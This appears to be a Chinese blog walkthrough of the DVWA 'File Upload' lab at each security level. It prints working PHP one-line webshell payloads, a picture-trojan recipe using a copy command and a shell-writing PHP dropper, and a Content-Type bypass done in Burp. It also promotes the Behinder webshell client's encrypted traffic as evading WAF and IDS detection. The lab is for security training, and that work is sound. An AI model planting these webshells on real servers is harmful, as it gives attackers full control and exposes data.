0%

DVWA通关指南-File Upload(文件上传)

文件上传漏洞 File Upload

  • ⽂件上传是Web 应⽤必备功能之⼀。

  • 如果服务器配置不当或者没有进⾏⾜够的过滤,Web ⽤户就可以上传任意⽂件,包括恶意脚本⽂件,exe 程序等等,这就造成了⽂件上传漏洞。

漏洞的成因

  • 服务器配置不当
  • Web应用开放了文件上传功能,没有对上传的文件做足够的限制和过滤。
  • 在程序开发部署时,没有考虑到系统的特性或组件的漏洞,而导致限制被绕过。

漏洞危害

  • 上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本,程序等。
  • 直接上传后门文件,导致网站沦陷。
  • 通过恶意文件,利用其他楼栋拿到管理员权限(提权),导致服务器沦陷。
  • 通过文件上传漏洞获得网站后门,叫Webshell

安全等级LOW

源码分析

低难度级别可以任意文件上传没有做任何安全过滤。我们可以直接上传木马一句话,利用冰蝎连接。

image-20220208170803959

冰歇

概述

  • 冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端。老牌 Webshell 管理神器——中国菜刀的攻击流量特征明显,容易被各类安全设备检测,实际场景中越来越少使用,加密 Webshell 正变得日趋流行。由于通信流量被加密,传统的 WAF、IDS 设备难以检测,给威胁狩猎带来较大挑战。冰蝎其最大特点就是对交互流量进行对称加密,且加密秘钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测
  • 官网地址为:https://github.com/rebeyond/Behinder
  • 运行环境:
    • 客户端:jre8+
    • 服务端:.net 2.0+;php 5.3-7.4;java 6+

安装

image-20220208173550815

  • 本地windwos启动客户端
1
D:\exe\Behinder_v3.0_Beta_11.t00ls>java -jar Behinder.jar

image-20220209084403643

开始攻击

  • 上传木马文件,其实就是冰蝎server中带有的shell.php文件
    • 比如<?php @eval($_POST['123']);?>就是典型的一句话木马,这里的123为自定义密码

image-20220209090359025

image-20220209085226115

  • 查看服务器成功上传成功的文件
1
2
3
4
5
6
7
[root@VM-24-13-centos uploads]# pwd
/var/www/html/DVWA-2.0.1/hackable/uploads
[root@VM-24-13-centos uploads]# ll
total 8
-rw-r--r-- 1 root root 667 Jan 26 09:38 dvwa_email.png
-rw-r--r-- 1 apache apache 643 Feb 9 09:02 shell.php # 这个就是刚刚上传的文件

  • 冰歇连接,注意默认密码就是rebeyond

image-20220209090923680

  • 双击刚刚新增的url,自动弹出连接成功的界面(需要等几秒钟,才会出结果)

image-20220209091142730

  • 无论是执行shell命令,还是管理文件,基本上服务器行的信息全部暴露无遗

image-20220209091417269

image-20220209100608363

安全等级为medium

  • 直接上传木马文件shell.php,报错了

image-20220209101333174

源码分析

对文件上传类型和文件大小做了限制

image-20220209101149257

开始攻击

先把服务器上的shell.php文件删除

1
2
3
4
5
[root@VM-24-13-centos uploads]# rm shell.php
rm: remove regular file ‘shell.php’? y
[root@VM-24-13-centos uploads]#


上传木马shell文件

image-20220209103101816

burp site 拦截上传请求

image-20220209103229163

把content-type修改为image/jpeg

image-20220209103347977

点击拦截请求,把状态改为禁用

image-20220209103440177

image-20220209103506461

发现文件上传成功

image-20220209103525182

服务器上查看到刚刚上传成功的文件

1
2
3
4

[root@VM-24-13-centos uploads]# ls
dvwa_email.png shell.php

用冰歇同样连接成功

image-20220209103700345

安定等级为High

注意,本次攻击失败,但是也把攻击步骤写下来

源码分析

对文件后缀进行白名单验证,所以我们只能进行图片jpg png的上传

image-20220209104615758

中国菜刀

image-20220209114037607

  • 使用copy命令的方式,写一个图片木马文件

image-20220209154852952

  • 1.bat中的文件内容就是copy命令
1
copy 1.jpg/b+1.php/a 3.jpg
  • 1.php中的内容,注意777是密码
1
2
3
4

<?php
fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777])?>');
?>
  • 运行1.bat生成了3.jpg文件

image-20220209155219270

  • 上传3.jpg文件

image-20220209155338946

  • 用文件包含的方式访问刚刚上传的图片,发现了乱码

    http:/xx.xx.xx.xx/DVWA-2.0.1/vulnerabilities/fi/?page=file:////var/www/html/DVWA-2.0.1/hackable/uploads/3.jpg

image-20220209155603879

  • 使用菜刀连接,发现一直无法得到webshell,最终发现原来这样访问肯定不行,因为没有登录,这样直接访问跳转到了登录界面,很多博文都是这样记录的,有点奇怪

image-20220209155804364

安全等级为Impossible

源码分析

这里分析一下 Impossible级别的代码,对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

image-20220209160436185

本文主要参考的来自这里